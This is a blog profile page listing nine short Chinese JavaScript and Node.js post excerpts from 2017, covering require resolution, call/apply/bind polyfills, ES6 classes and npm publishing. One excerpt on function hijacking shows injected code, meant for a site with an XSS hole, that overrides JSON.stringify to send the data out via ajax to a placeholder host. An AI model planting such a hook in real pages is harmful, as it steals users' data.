自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(9)
  • 资源 (2)
  • 收藏
  • 关注

原创 nodejs中require的路径是一个文件夹时发生了什么

node中使用require的时候如果路径是一个文件夹时,或者特殊的情况require('..');require('.');这是node实战这本书里说的情况,但是我在node6.9版本中发现不完全是这样,可能是后来做了修改。下面说说在6.9下require路径的过程。这里以require('.')说明,一个点说明要require当前目录,这时候,node会优先查找package.

2017-01-30 19:28:26 8897 3

原创 js中的函数劫持

js中的很多对象属性都是可以被用户改写的,这很容易让坏人进行属性的劫持。当一个网站存在xss漏洞的时候,我们可以注入自己的js,进行函数劫持。 var tmp = JSON.stringify; JSON.stringify = function(data) { $.ajax({ url:'http://localhost',

2017-01-18 14:23:27 2615

原创 bind源码解析

下面是bind函数的Polyfill源码if (!Function.prototype.bind) { Function.prototype.bind = function (oThis) { if (typeof this !== "function") { throw new TypeError("Function.prototype.bind - what is try

2017-01-14 17:15:04 1493

原创 js的apply函数"源码"

Function.prototype.apply=function(x){ x = x || {};//防止this为null x['fn'] = this; var list = arguments[1] || []; var args = '';//参数列表 var type; for (var i = 0; i<list.length;i++)

2017-01-13 01:58:35 1198

原创 js的call函数"源码"

暂时不支持复杂的变量类型。。。Function.prototype.call=function(x){ x = x || {}; x['fn'] = this; var args = '';//参数列表 var type; for (var i = 1; i<arguments.length;i++) { if (typeof a

2017-01-13 01:44:42 1110

原创 es6中类和extends的本质

理解es6的类和extends的原理,主要是先理解es5里面函数和对象间的关系(_ proto _和prototype的知识)class c { constructor(){} //static f() {} a() {}}class d extends c{}通过typeof打印我们知道,c和d本质其实还是一个函数.接下来我们看最开始的地方c.prototype。!

2017-01-11 23:38:07 13789

原创 在npm发布自己的js包

首先在https://www.npmjs.com/注册自己的账号。在你的包文件夹位置的地址栏输入cmd回车,然后在命令行输入npm login,根据提示输入用户名,密码,邮箱,然后登陆成功。然后在输入npm publish即可发布。npm unpublish删除。具体的操作可以根据提示进行。写自己的包时,最好提前在官网查一下这个包的名字有没有被使用,如果有,就会产生冲突,无法提交。

2017-01-06 23:26:31 2580

原创 判断某种条件是否成立的函数集合

~ function(root) { var previousUtils = root.utils; var utils = {}; var version = '0.0.1'; var slice = Array.prototype.slice; var toString = Object.prototype.toString; var hasOwn

2017-01-06 22:50:40 1091

原创 针对js对象和数组的深度迭代器

1,支持嵌套对象,数组或者混合的形式。 2,逐个元素进行迭代。 3,也支持非深度迭代。 可在这个思路上进行拓展其他类型函数。 “` var utils = {}; utils.isObject = function(obj) { return Object.prototype.toString.call(obj) === ‘[object

2017-01-06 22:15:30 758

libv8_monolith.a.zip

libv8_monolith.a.zip

2021-07-09

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除